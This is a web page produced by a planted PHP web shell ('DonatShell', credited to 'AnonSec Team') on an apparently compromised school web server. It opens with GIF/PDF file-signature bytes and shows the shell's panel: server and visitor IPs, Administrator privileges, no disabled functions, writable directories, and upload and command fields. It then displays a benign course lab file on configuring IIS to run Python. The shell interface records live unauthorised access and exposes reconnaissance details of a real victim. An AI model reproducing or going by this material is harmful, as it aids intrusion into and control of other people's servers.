GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/CST2276/Labs/Lab03.4/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/CST2276/Labs/Lab03.4/Lab03.4.phpinc
<?
// JimMartinson/CST2276/Labs/Lab03.4/Lab03.4.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc');
#if ( $_SESSION['userId'] != 1 ) { require('Gradebook/EvaluationSubmission_NOTAVAILABLE.phpinc'); exit; }

#$showGenerateComputerNamesVariables = true;
require('JimMartinson/CST2276/Labs/GenerateComputerNames.phpinc');

$disabled = '';
#$disabled = ' disabled';

$uploadFilename = $courseNumber.'_'.$evaluationName.'_'.$userFileName.'.png';

?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend>
<? if ( $disabled ) { ?>
<span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><br>
<? } ?>
The purpose of this lab is to install Python software to generate dynamic HTML documents and configure IIS to use it.
<br><?=$gradeNote?>
<ol class="count">
	<li>
    Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for all work performed in this lab.
  </li>
	<li>
		Install Python and configure IIS to handle php files.
		<ol>
			<li>Download the <a href="../../Resources/python/python-3.6.4-amd64.exe">Python 3.6.4 installer (python-3.6.4-amd64.exe)</a>.</li>
			<li>Run the installer and install Python.</li>
			<li>Configure IIS to handle .py files.
				<ol>
					<li>Open the Internet Information Services (IIS) Manager</li>
					<li>Go to <b><?=strtoupper($serverName)?> (<?=strtoupper(substr($domainName,0,3))?>\Administrator)</b> \ <b>Sites</b> \ <b>Defalt Web Site</b>.</li>
					<li>Open <b>Handler Mappings</b>.</li>
					<li>Select <b>Add Script Map...</b> from the Actions panel on the right.</li>
					<li>Configure the Script Map with:
						<ol>
							<li>Request path: <b class="copyText">*.py</b>.</li>
							<li>Executable: the path to the <b>python.exe</b> file and ' %s %s' appended to the end (no ' marks). E.G. Mine was <code class="copyText">C:\python311\python.exe %s %s</code>.</li>
							<li>Name: <b class="copyText">python</b>.</li>
						</ol>
					</li>
					<li>Click <b>OK</b>.</li>
					<li>Click <b>Yes</b>.</li>
					<li>Configure <b>index.py</b> as a default document:
						<ol>
							<li>In Internet Information Services (IIS) Manager, go back to the <b>Defalt Web Site</b>.</li>
							<li>Open <b>Default Document</b>.</li>
							<li>Select <b>Add...</b> from the Actions panel on the right.</li>
							<li>Set the Name to <b class="copyText">index.py</b>.</li>
							<li>Click <b>OK</b>.</li>
						</ol>
					</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>Show that your installation an configuration works correctly.
		<ol>
			<li>Open <b class="copyText">C:\inetpub\wwwroot</b> in file explorer.</li>
			<li>Create a directory called <b class="copyText">python</b></li>
			<li>Download <a href="python.php">index.py</a> and save it in the <b>C:\inetpub\wwwroot\python</b> directory.</li>
			<li>Open <b class="copyText">http://localhost/python/</b> in a browser.</li>
			<li>Take a screenshot of the browser window and save it as <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> folder.<br>
				<? showBegin('See Python browser example screenshot'); ?><br>
				<img src="images/python.png" alt="Python browser screenshot"><br>
				<? showEnd (); ?>
			</li>
		</ol>
	</li>
	<li>Turn in your assignment:
		<ol type="a">
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.<? if ( $disabled ) { ?> <span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?></li>
		</ol>
	</li>
<? /**/ ?>
</ol>
<?=$gradeNote?>
</fieldset>
<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team